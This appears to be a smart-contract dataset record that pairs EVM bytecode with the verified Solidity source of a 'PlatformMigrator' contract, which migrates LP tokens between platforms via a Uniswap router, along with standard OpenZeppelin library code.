20696e76616c6964207369676e61747572650000604482015290519081900360640190fd5b611b498a8a8a611d52565b50505050505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b611b8a3382611f7b565b50565b611b95611d4e565b60055461010090046001600160a01b03908116911614611bea576040805162461bcd60e51b81526020600482018190526024820152600080516020612870833981519152604482015290519081900360640190fd5b60005b815181101561114157611c1383838381518110611c0657fe5b60200260200101516108f1565b600101611bed565b611c23611d4e565b60055461010090046001600160a01b03908116911614611c78576040805162461bcd60e51b81526020600482018190526024820152600080516020612870833981519152604482015290519081900360640190fd5b6001600160a01b038116611cbd5760405162461bcd60e51b81526004018080602001828103825260268152602001806127976026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600860209081526000928352604080842090915290825290205460ff1681565b611b8a3382612391565b3390565b6001600160a01b038316611d975760405162461bcd60e51b81526004018080602001828103825260248152602001806128d66024913960400191505060405180910390fd5b6001600160a01b038216611ddc5760405162461bcd60e51b81526004018080602001828103825260228152602001806127bd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038216611e835760405162461bcd60e51b81526004018080602001828103825260218152602001806128906021913960400191505060405180910390fd5b611e8f82600083611141565b611ed281604051806060016040528060228152602001612775602291396001600160a01b038516600090815260208190526040902054919063ffffffff6121c916565b6001600160a01b038316600090815260208190526040902055600254611efe908263ffffffff61246f16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000611f746b033b2e3c9fd0803ce8000000611f68858563ffffffff6124b116565b9063ffffffff61250a16565b9392505050565b6001600160a01b0380831660009081526008602090815260408083209385168352929052205460ff1615611ff6576040805162461bcd60e51b815260206004820152601c60248201527f44656c656761626c653a20416c72656164792064656c65676174656400000000604482015290519081900360640190fd5b6001600160a01b03808316600081815260086020908152604080832094861680845294825291829020805460ff19166001908117909155825190815291517f045b0fef01772d2fbba53dbd38c9777806eac0865b00af43abcfbcaf50da92069281900390910190a35050565b6001600160a01b0383166120a75760405162461bcd60e51b81526004018080602001828103825260258152602001806128b16025913960400191505060405180910390fd5b6001600160a01b0382166120ec5760405162461bcd60e51b81526004018080602001828103825260238152602001806127526023913960400191505060405180910390fd5b6120f7838383611141565b61213a816040518060600160405280602681526020016127df602691396001600160a01b038616600090815260208190526040902054919063ffffffff6121c916565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461216f908263ffffffff61222316565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000818484111561221b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b45578181015183820152602001610b2d565b505050900390565b600082820183811015611f74576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b612287828261254c565b600160701b612294610d24565b11156122d15760405162461bcd60e51b81526004018080602001828103825260228152602001806128056022913960400191505060405180910390fd5b5050565b6000818310156122e55781611f74565b5090919050565b60008061230b846b033b2e3c9fd0803ce800000063ffffffff6124b116565b905061231d818463ffffffff61264816565b15612348576123436001612337838663ffffffff61250a16565b9063ffffffff61222316565b612358565b612358818463ffffffff61250a16565b949350505050565b6000611f7482611f68856b033b2e3c9fd0803ce800000063ffffffff6124b116565b60008183106122e55781611f74565b6001600160a01b0380831660009081526008602090815260408083209385168352929052205460ff1661240b576040805162461bcd60e51b815260206004820152601e60248201527f44656c656761626c653a20416c726561647920756e64656c6567617465640000604482015290519081900360640190fd5b6001600160a01b038083166000818152600860209081526040808320948616808452948252808320805460ff191690558051928352517f045b0fef01772d2fbba53dbd38c9777806eac0865b00af43abcfbcaf50da92069281900390910190a35050565b6000611f7483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121c9565b6000826124c057506000610a74565b828202828482816124cd57fe5b0414611f745760405162461bcd60e51b81526004018080602001828103825260218152602001806128276021913960400191505060405180910390fd5b6000611f7483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061268a565b6001600160a01b0382166125a7576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6125b360008383611141565b6002546125c6908263ffffffff61222316565b6002556001600160a01b0382166000908152602081905260409020546125f2908263ffffffff61222316565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000611f7483836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506126ef565b600081836126d95760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b45578181015183820152602001610b2d565b5060008385816126e557fe5b0495945050505050565b6000818361273e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b45578181015183820152602001610b2d565b5082848161274857fe5b0694935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636546594461693a20546f74616c20737570706c79206c696d6974206578636565646564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220201936ac9e113200c8cd02d21dc37fc18ad5fd2cd1594dfa0b697d14cf226d0a64736f6c634300060a0033
[ 7 ]
0xF2CAb8d689c8cdf7cB7927C8eDDc65D5cEf18642
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./interfaces/IPlatformMigrator.sol"; contract PlatformMigrator is IPlatformMigrator, Ownable { using SafeERC20 for IERC20; IERC20 public rewardToken; IERC20 public oldToken; IMigratablePlatform public oldPlatform; IMigratablePlatform public newPlatform; IUniswapV2Router02 public router; uint256 public rewardAmount = 1e20; constructor(IERC20 _rewardToken, IERC20 _oldToken, IMigratablePlatform _oldPlatform, IMigratablePlatform _newPlatform, IUniswapV2Router02 _router) { rewardToken = _rewardToken; oldToken = _oldToken; oldPlatform = _oldPlatform; newPlatform = _newPlatform; router = _router; } function migrateLPTokens(uint256 _tokenAmountOutMin) external override returns (uint256 newLPTokensAmount) { uint256 oldLPTokensAmount = IERC20(address(oldPlatform)).balanceOf(msg.sender); require(oldLPTokensAmount > 0, "No LP tokens to migrate"); IERC20(address(oldPlatform)).safeTransferFrom(msg.sender, address(this), oldLPTokensAmount); IERC20(address(oldPlatform)).safeApprove(address(oldPlatform), 0); IERC20(address(oldPlatform)).safeApprove(address(oldPlatform), oldLPTokensAmount); (, uint256 oldTokensAmount) = oldPlatform.withdrawLPTokens(oldLPTokensAmount); IERC20 newToken = newPlatform.token(); uint256 newTokensAmount = oldTokensAmount; if (address(oldToken) != address(newToken)) { address[] memory path = new address[](2); path[0] = address(oldToken); path[1] = address(newToken); oldToken.safeApprove(address(router), 0); oldToken.safeApprove(address(router), oldTokensAmount); uint[] memory amounts = router.swapExactTokensForTokens(oldTokensAmount, _tokenAmountOutMin, path, address(this), block.timestamp); newTokensAmount = amounts[1]; } newToken.safeApprove(address(newPlatform), newTokensAmount); newLPTokensAmount = newPlatform.deposit(newTokensAmount, 0); IERC20(address(newPlatform)).safeTransfer(msg.sender, newLPTokensAmount); rewardToken.safeTransfer(msg.sender, rewardAmount); emit Migration(msg.sender, address(oldPlatform), address(newPlatform), oldLPTokensAmount, newLPTokensAmount, oldTokensAmount, newTokensAmount, rewardAmount); } function setOldPlatform(IMigratablePlatform _newOldPlatform) external override onlyOwner { oldPlatform = _newOldPlatform; } function setNewPlatform(IMigratablePlatform _newNewPlatform) external override onlyOwner { newPlatform = _newNewPlatform; } function setRouter(IUniswapV2Router02 _newRouter) external override onlyOwner { router = _newRouter; } function setRewardAmount(uint256 _newRewardAmount) external override onlyOwner { rewardAmount = _newRewardAmount; } function withdrawAllRewards() external override onlyOwner { uint256 balance = rewardToken.balanceOf(address(this)); rewardToken.safeTransfer(msg.sender, balance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8; import "./IMigratablePlatform.sol"; import "./../external/IUniswapV2Router02.sol"; interface IPlatformMigrator { event Migration(address indexed account, address indexed oldPlatfrom, address indexed newPlatform, uint256 oldLPTokensAmount, uint256 newLPTokensAmount, uint256 oldTokensAmount, uint256 newTokensAmount, uint256 rewardAmount); function migrateLPTokens(uint256 tokenAmountOutMin) external returns (uint256 newLPTokensAmount); function setOldPlatform(IMigratablePlatform newOldPlatform) external; function setNewPlatform(IMigratablePlatform newNewPlatform) external; function setRouter(IUniswapV2Router02 newRouter) external; function setRewardAmount(uint256 newRewardAmount) external; function withdrawAllRewards() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IMigratablePlatform { function deposit(uint256 tokenAmount, uint256 minLPTokenAmount) external returns (uint256 lpTokenAmount); function withdrawLPTokens(uint256 _lpTokensAmount) external returns (uint256 burntAmount, uint256 withdrawnAmount); function token() external returns (IERC20); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
0x608060405234801561001057600080fd5b50600436106100d55760003560e01c8063a8a65a7811610087578063a8a65a7814610164578063b31c710a14610177578063b9aa6b9e1461018a578063c0d786551461019d578063f2fde38b146101b0578063f7b2a7be146101c3578063f7c618c1146101cc578063f887ea40146101df57600080fd5b806302867e72146100da57806314880edc146101035780632611ad601461011657806345114ee51461012b5780635625ba1914610133578063715018a6146101545780638da5cb5b1461015c575b600080fd5b6004546100ed906001600160a01b031681565b6040516100fa9190610fe1565b60405180910390f35b6003546100ed906001600160a01b031681565b610129610124366004610e5a565b6101f2565b005b61012961024c565b610146610141366004610f72565b610319565b6040519081526020016100fa565b610129610837565b6100ed610872565b610129610172366004610f72565b610881565b6002546100ed906001600160a01b031681565b610129610198366004610e5a565b6108b5565b6101296101ab366004610e5a565b610906565b6101296101be366004610e5a565b610957565b61014660065481565b6001546100ed906001600160a01b031681565b6005546100ed906001600160a01b031681565b336101fb610872565b6001600160a01b03161461022a5760405162461bcd60e51b815260040161022190611028565b60405180910390fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b33610255610872565b6001600160a01b03161461027b5760405162461bcd60e51b815260040161022190611028565b6001546040516370a0823160e01b81526000916001600160a01b0316906370a08231906102ac903090600401610fe1565b60206040518083038186803b1580156102c457600080fd5b505afa1580156102d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fc9190610f8a565b600154909150610316906001600160a01b031633836109f4565b50565b6003546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061034e903390600401610fe1565b60206040518083038186803b15801561036657600080fd5b505afa15801561037a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061039e9190610f8a565b9050600081116103ea5760405162461bcd60e51b81526020600482015260176024820152764e6f204c5020746f6b656e7320746f206d69677261746560481b6044820152606401610221565b600354610402906001600160a01b0316333084610a5c565b60035461041a906001600160a01b0316806000610a9a565b600354610431906001600160a01b03168083610a9a565b60035460405163452d003f60e01b8152600481018390526000916001600160a01b03169063452d003f906024016040805180830381600087803b15801561047757600080fd5b505af115801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190610fa2565b9150506000600460009054906101000a90046001600160a01b03166001600160a01b031663fc0c546a6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561050457600080fd5b505af1158015610518573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053c9190610f56565b60025490915082906001600160a01b038084169116146106ef57604080516002808252606082018352600092602083019080368337505060025482519293506001600160a01b0316918391506000906105a557634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505082816001815181106105e757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526005546002546106139290811691166000610a9a565b600554600254610630916001600160a01b03918216911686610a9a565b6005546040516338ed173960e01b81526000916001600160a01b0316906338ed1739906106699088908c9087903090429060040161105d565b600060405180830381600087803b15801561068357600080fd5b505af1158015610697573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106bf9190810190610e76565b9050806001815181106106e257634e487b7160e01b600052603260045260246000fd5b6020026020010151925050505b600454610709906001600160a01b03848116911683610a9a565b60048054604051631c57762b60e31b8152918201839052600060248301526001600160a01b03169063e2bbb15890604401602060405180830381600087803b15801561075457600080fd5b505af1158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c9190610f8a565b6004549095506107a6906001600160a01b031633876109f4565b6006546001546107c3916001600160a01b039091169033906109f4565b60045460035460065460408051888152602081018a90529081018790526060810185905260808101919091526001600160a01b03928316929091169033907f90f19f96ffbb58e030a7861d7ac60fc5e9d05bc100dcd968c27ef06189e7ec889060a00160405180910390a450505050919050565b33610840610872565b6001600160a01b0316146108665760405162461bcd60e51b815260040161022190611028565b6108706000610bbe565b565b6000546001600160a01b031690565b3361088a610872565b6001600160a01b0316146108b05760405162461bcd60e51b815260040161022190611028565b600655565b336108be610872565b6001600160a01b0316146108e45760405162461bcd60e51b815260040161022190611028565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b3361090f610872565b6001600160a01b0316146109355760405162461bcd60e51b815260040161022190611028565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b33610960610872565b6001600160a01b0316146109865760405162461bcd60e51b815260040161022190611028565b6001600160a01b0381166109eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610221565b61031681610bbe565b6040516001600160a01b038316602482015260448101829052610a5790849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610c0e565b505050565b6040516001600160a01b0380851660248301528316604482015260648101829052610a949085906323b872dd60e01b90608401610a20565b50505050565b801580610b235750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b158015610ae957600080fd5b505afa158015610afd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b219190610f8a565b155b610b8e5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610221565b6040516001600160a01b038316602482015260448101829052610a5790849063095ea7b360e01b90606401610a20565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610c63826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610ce09092919063ffffffff16565b805190915015610a575780806020019051810190610c819190610f36565b610a575760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610221565b6060610cef8484600085610cf9565b90505b9392505050565b606082471015610d5a5760